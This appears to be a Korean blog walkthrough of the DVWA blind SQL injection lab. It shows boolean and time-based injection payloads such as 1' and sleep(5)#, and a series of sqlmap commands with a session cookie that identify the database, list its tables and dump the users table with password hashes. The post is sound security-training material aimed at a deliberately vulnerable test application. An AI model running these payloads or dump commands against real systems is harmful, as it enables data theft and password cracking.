SQL Injection(Blind)
블라인드 SQL인젝션이란 결과를 직접적으로 알 수는 없어도, 참과 거짓일 때의 결과 차이를 분석하여 어떤 정보를 알아내는 기법이다.
User ID값에 1을 한번 넣어보겠다.
ID값에 1을 입력하니, 데이터베이스에 존재한다는 메시지만 나온다.
다음 '(싱글쿼터)를 입력하여 어떤 결과를 나타내는지 확인하겠다.
id값에 1부터 6까지 넣어봤는데 1에서 5까지는 계정이 존재를 하였고 6부터는 계정이 존재하지 않는다.
싱글쿼터를 입력하니 데이터베이스에 사용자가 존재하지 않다고 뜬다.
그냥 sql injection문제에서는 싱글쿼터를 입력하면 에러가 났는데 sql injection(blind)에서는 에러가 나지 않는다.
그래서 sql 쿼리문이 사용되고 있는지 알기 어렵다.
만약 sql 쿼리문이 실행된다는 것을 알아낼 수 잇고 우리의 입력값에 따라 사용자의 존재 유무로 나타나는 결과가 달라지면, 블라인드 sql injection공격을 시도할 수 있다.
아래와 같이 입력을 해 보겠다.
1' and 1=1#
1' and 1=1#의 전체 문자열을 하나의 id로 처리를 하게 된다면 비정상적인 값으로 판단하여 사용자의 계정이 없다고 나오야하지만 정상적으로 계정이 존재한다고 출력이 되었다.
sql 쿼리문이 사용되고 있는 것 같다고 추측할 수 있다.
1' and 1=2#를 입력을 하면, 데이터베이스에 사용자가 존재하지 않는다고 출력을 한다.
1=2이 거짓이므로 sql쿼리문이 거짓되어 존재하지 않는다고 뜬다고 예상할 수 있다.
and 이후의 조건에 따라 결과가 바뀌었고 이를 통해 입력하는 값이 sql 쿼리문을 통해 처리되고 있다는 것을 확인할 수 있다.
TIP
and 연산을 이용하여 입력값을 보낼 때 연산에 따라 결과가 달라진다면 블라인드 SQL 인젝션 취약점을 의심할 수 있다.
참/거짓에 따라 응답 메시지가 달라지는 경우도 있지만, 어떤 경우에는 웹사이트의 출력되는 메시지조차 같은 경우가 있다.
이와 같은 경우에는 응답되는 시간의 차이를 이용하여 참과 거짓을 구별할 수 있다.
sleep함수를 사용하여 거짓인 경우 응답을 몇 초 늦게 오도록 하겠다.
1' and sleep(5)# 와 같이 입력하였을때 응답시간을 확인해보면 응답이 5초(5020ms)정도 걸린 것을 확인할 수 있다.
데이트베이스에 존재하지 않는 6을 넣었더니 응답 시간이 9ms초로 바로 응답되었다.
이와 같이 조건이 참일 때는 sleep함수가 실행되어 응답이 지연되므로 블라인드 sql 인젝션 공격을 통해 원하는 정보를 알아낼 수 있다.
블라인드 sql인젝션 공격의 경우 자동화 프로그램을 많이 이용한다.
sqlmap이라는 툴을 이용하여 공격을 진행해보도록 하겠다.
sqlmap 사용
sqlmap 사용법 및 옵션 확인
https://koromoon.blogspot.com/2020/07/sqlmap.html
간단한 실습을 통한 sqlmap 사용법
White-Hat Hacker
koromoon.blogspot.com
위 사이트에서 sqlmap에 대한 사용법이 자세하게 기술되어있다.
쿠키값을 확인하였다.
쿠키와 url을 바탕으로 sqlmap을 실행해 보겠다.
sqlmap -u "http://192.168.109.130/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie = "security=low; PHPSESSID=06fbdda63c1949d462a901e6fb5c93c7; security_level=0"
마지막에 보면 DBMS가 MYSQL인 것 같다고 출력하고 있다.
웹 서버 os : Linux Ubuntu 8.04
웹 관련 기술 : Apache 2.2.8, PHP 5.2.4
백 엔드 DBMS : MySQL이고 버전 5.0.12 이상
다음으로 sql 인젝션 공격이 가능한 것을 알게 되었으면, 이제 --current-db옵션을 추가하여 현재 데이터베이스의 이름을 알아낼 수 있다.
sqlmap -u "http://192.168.109.130/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=06fbdda63c1949d462a901e6fb5c93c7; security_level=0" --current-db
현재 데이터베이스의 이름이 dvwa라는것을 확인할 수 있다.
이제 dvwa의 테이블 이름을 알아보기 위해서 --current-db 대신 -D 옵션으로 데이터베이스 이름 dvwa를 입력하고 --table 옵션을 추가로 지정하여 실행하겠다.
sqlmap -u "http://192.168.109.130/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=06fbdda63c1949d462a901e6fb5c93c7; security_level=0" -D dvwa --tables
dvwa 데이터베이스에는 guestbook과 users 테이블이 있는것을 알 수 있다.
이제 users의 테이블의 내용을 추출하기 위해서 --tables 대신 -T 옵션으로 users 테이블 이름을 지정하고, --dump 옵션을 이용하여 테이블 내용을 추출한다.
sqlmap -u "http://192.168.109.130/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=06fbdda63c1949d462a901e6fb5c93c7; security_level=0" -D dvwa -T users --dump
sqlmap에서 프로그램이 패스워드 해시 관련 정보를 찾게 되면 몇 가지 패스워드 크래킹과 관련된 질문을 한다.
첫 번째, 나중에 다름 프로그램을 이용하여 패스워드 크래킹을 진행할 수 있도록 패스워드 해시를 임시파일로 저장할 것인가? (디폴트 = n)
두 번째, 딕셔너리 공격을 이용하여 패스워드 해시를 크래킹할것인가?
세 번째, 어떤 사전 파일을 사용할것인가? (디폴트 = 1)
네 번째, 공통 패스워드 접미사를 사용할 것인가? (디폴트 = n)
users 테이블 내의 모든 정보를 추출하였다.
'WEB hacking > DVWA' 카테고리의 다른 글
[DVWA] - Insecure CAPTCHA 설정 (0) | 2022.10.12 |
---|---|
[DVWA] - Reflected Cross Site Scripting (XSS) Low 단계 (0) | 2022.10.11 |
[DVWA] - Command Injection Low 단계 (0) | 2022.10.10 |
[DVWA] - SQL Injection Low 단계 (4) | 2022.10.08 |
[DVWA] - Brute Force Low 단계 (0) | 2022.10.07 |